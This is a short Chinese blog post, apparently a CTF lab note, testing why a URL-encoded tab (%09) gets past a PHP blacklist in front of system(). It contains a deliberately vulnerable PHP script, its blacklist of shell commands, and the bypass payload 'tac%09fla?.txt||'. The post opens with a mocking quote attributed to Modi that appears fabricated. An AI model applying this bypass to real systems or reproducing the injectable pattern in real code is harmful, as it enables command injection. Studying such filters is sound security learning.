棺材里伸手，死要钱！
--古吉拉特邦 莫迪大仙
引言：由于有些题目实在是让人抓挠，我看完题解后难以接受知识机械的执行获取flag，所以我想着尽可能用我的语言去进行解释！
由于是验证猜想实验，所以我不会注重于得到flag。如果想知道解题思路移步至下述文章：
一、实验准备
1、phpstudy
2、firefox浏览器
3、hackbar插件
（如果大家有需要上述工具可私信）
二、实验原因
1、产生原因：
由于在实验中过滤了字符%，但是我们的payload中依旧使用了?c=tac%09fla?.php||，那么%09是否在传入参数后自己转码成了Tab键？
三、实验过程
1、在本地创建rce.php文件，将题目拷贝至其中
2、添加输出验证语句
如果验证成功则输出：成功过滤！
<?php
//设置编码方式为utf-8
header("Content-Type:text/html;charset=utf-8");
if(isset($_GET['c'])){
$c=$_GET['c'];
echo $c;//输出变量$c接受到的值，再进行过滤前进行输出
echo "<br>";//美观输出换行
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
echo "成功过滤！！";//如果成功过滤则输出过滤成功
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>3、访问地址
payload：
http://localhost/rce.php?c=tac%09fla?.txt||
查看结果，第一次输出$c的值发现%09没有被接受而是自动转换成了Tab键，所以可以通过后续验证进行绕过，但是还是会有人会有疑惑，那不是直接变成空格了吗？Tab的输出确像空格键但是还是存在差别
至此验证完成，欢迎不同的讨论声音！
